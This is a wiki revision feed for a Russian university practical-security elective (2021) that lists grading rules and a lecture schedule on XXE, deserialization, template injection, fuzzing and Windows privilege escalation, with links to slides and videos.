		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=577</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=577"/>
		<updated>2021-05-25T11:43:26Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([https://www.youtube.com/watch?v=FxVil6DUD4o видео - часть 1], [https://www.youtube.com/watch?v=MrH9tN7tvOw видео - часть 2], [//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды], [https://youtu.be/p195JmRCvNs видео - часть 1], [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=576</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=576"/>
		<updated>2021-05-25T11:43:06Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([https://www.youtube.com/watch?v=FxVil6DUD4o видео - часть 1][https://www.youtube.com/watch?v=MrH9tN7tvOw видео - часть 2][//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды] [https://youtu.be/p195JmRCvNs видео - часть 1] [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=575</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=575"/>
		<updated>2021-05-25T11:35:29Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды] [https://www.youtube.com/watch?v=9nFQAL06mTE видео])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды] [https://youtu.be/p195JmRCvNs видео - часть 1] [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=574</id>
		<title>Дополнительные главы практической безопасности (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)&amp;diff=574"/>
		<updated>2021-05-25T11:28:37Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Дополнительные главы практической безопасности&#039;&#039;&#039; — математический спецкурс по выбору, продолжение курса [[Введение_в_практическую_безопасность_(2019)|Введение в практическую безопасность]] (читавшегося в 2019 году).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: во вторник, 18:20, 16 февраля 2021&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 612, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом.&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные. Баллы за все обязательные задания вместе дадут &#039;&#039;&#039;10000&#039;&#039;&#039;. Критерии такие:&lt;br /&gt;
* &#039;&#039;&#039;2000&#039;&#039;&#039; и больше будут давать оценку &amp;quot;отлично&amp;quot;.&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;1000&#039;&#039;&#039;, но меньше &#039;&#039;&#039;2000&#039;&#039;&#039; будут давать оценку &amp;quot;хорошо&amp;quot;&lt;br /&gt;
* баллы &amp;gt;= &#039;&#039;&#039;500&#039;&#039;&#039;, но меньше &#039;&#039;&#039;1000&#039;&#039;&#039; будут давать оценку &amp;quot;удовлетворительно&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Занятия ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;16.02&#039;&#039;&#039; - Веб-безопасность — XXE ([http://xxe.course.secsem.ru/ материалы], [[Дополнительные_главы_практической_безопасности_(2021)/XXE|про эксплуатацию OOB]])&lt;br /&gt;
* &#039;&#039;&#039;02.03&#039;&#039;&#039; - Веб-безопасность — небезопасная десериализация ([//course.secsem.ru/slides/unserialize_php.pdf слайды по небезопасной десериализации PHP])&lt;br /&gt;
* &#039;&#039;&#039;09.03&#039;&#039;&#039; - Веб-безопасность — template injection ([//course.secsem.ru/slides/2021-ssti-dgpb.pdf слайды])&lt;br /&gt;
* &#039;&#039;&#039;16.03&#039;&#039;&#039; - Ошибки неправильного использования криптографии в реальных приложениях ([//course.secsem.ru/slides/dont-roll-your-own-crypto.pdf слайды] [https://www.youtube.com/watch?v=oKvppCZkSng видео])&lt;br /&gt;
* &#039;&#039;&#039;23.03&#039;&#039;&#039; - Система типов в языке программирования Rust ([//course.secsem.ru/slides/2021-course-extended-lec5.pdf слайды] [https://youtu.be/p195JmRCvNs видео - часть 1] [https://youtu.be/eGTzK9w1egk видео - часть 2])&lt;br /&gt;
* &#039;&#039;&#039;30.03&#039;&#039;&#039; - Фаззинг бинарных программ — основы ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:%D0%A4%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3_-_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B.zip слайды] [https://course.secsem.ru/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83 домашка])&lt;br /&gt;
* &#039;&#039;&#039;06.04&#039;&#039;&#039; - Фаззинг бинарных программ — примеры использования в реальной жизни&lt;br /&gt;
* &#039;&#039;&#039;13.04&#039;&#039;&#039; - Фаззинг бинарных программ — возникающие проблемы и способы их решения на основе специализированных фаззеров и техник: kAFL, Redqueen, Grimoire, etc. ([https://course.secsem.ru/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:Fuzzing3.zip слайды], [https://www.youtube.com/watch?v=KK2z-jCxBwk видео])&lt;br /&gt;
* &#039;&#039;&#039;20.04&#039;&#039;&#039; - Веб-безопасность — атаки на race condition в веб-приложениях ([//course.secsem.ru/slides/race-condition-in-webapps.pdf слайды], [https://www.youtube.com/watch?v=8xQhYRinCus видео])&lt;br /&gt;
* &#039;&#039;&#039;27.04&#039;&#039;&#039; - Эскалация привилегий (LPE) в Windows ([https://course.secsem.ru/slides/LPE-on-Windows.pdf слайды], [https://www.youtube.com/watch?v=PYzuWhXSqSI видео])&lt;br /&gt;
* &#039;&#039;&#039;11.05&#039;&#039;&#039; - &#039;&#039;&#039;[дистанционно]&#039;&#039;&#039; Внутреннее устройство WebAssembly и некоторые аспекты его безопасности ([https://drive.google.com/file/d/1LWj-u2tC8S-OCV_13MW46yqbnSf_gmU7/view?usp=sharing видео])&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_практической_безопасности_(2021)/Задания|Задания находятся на этой странице]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
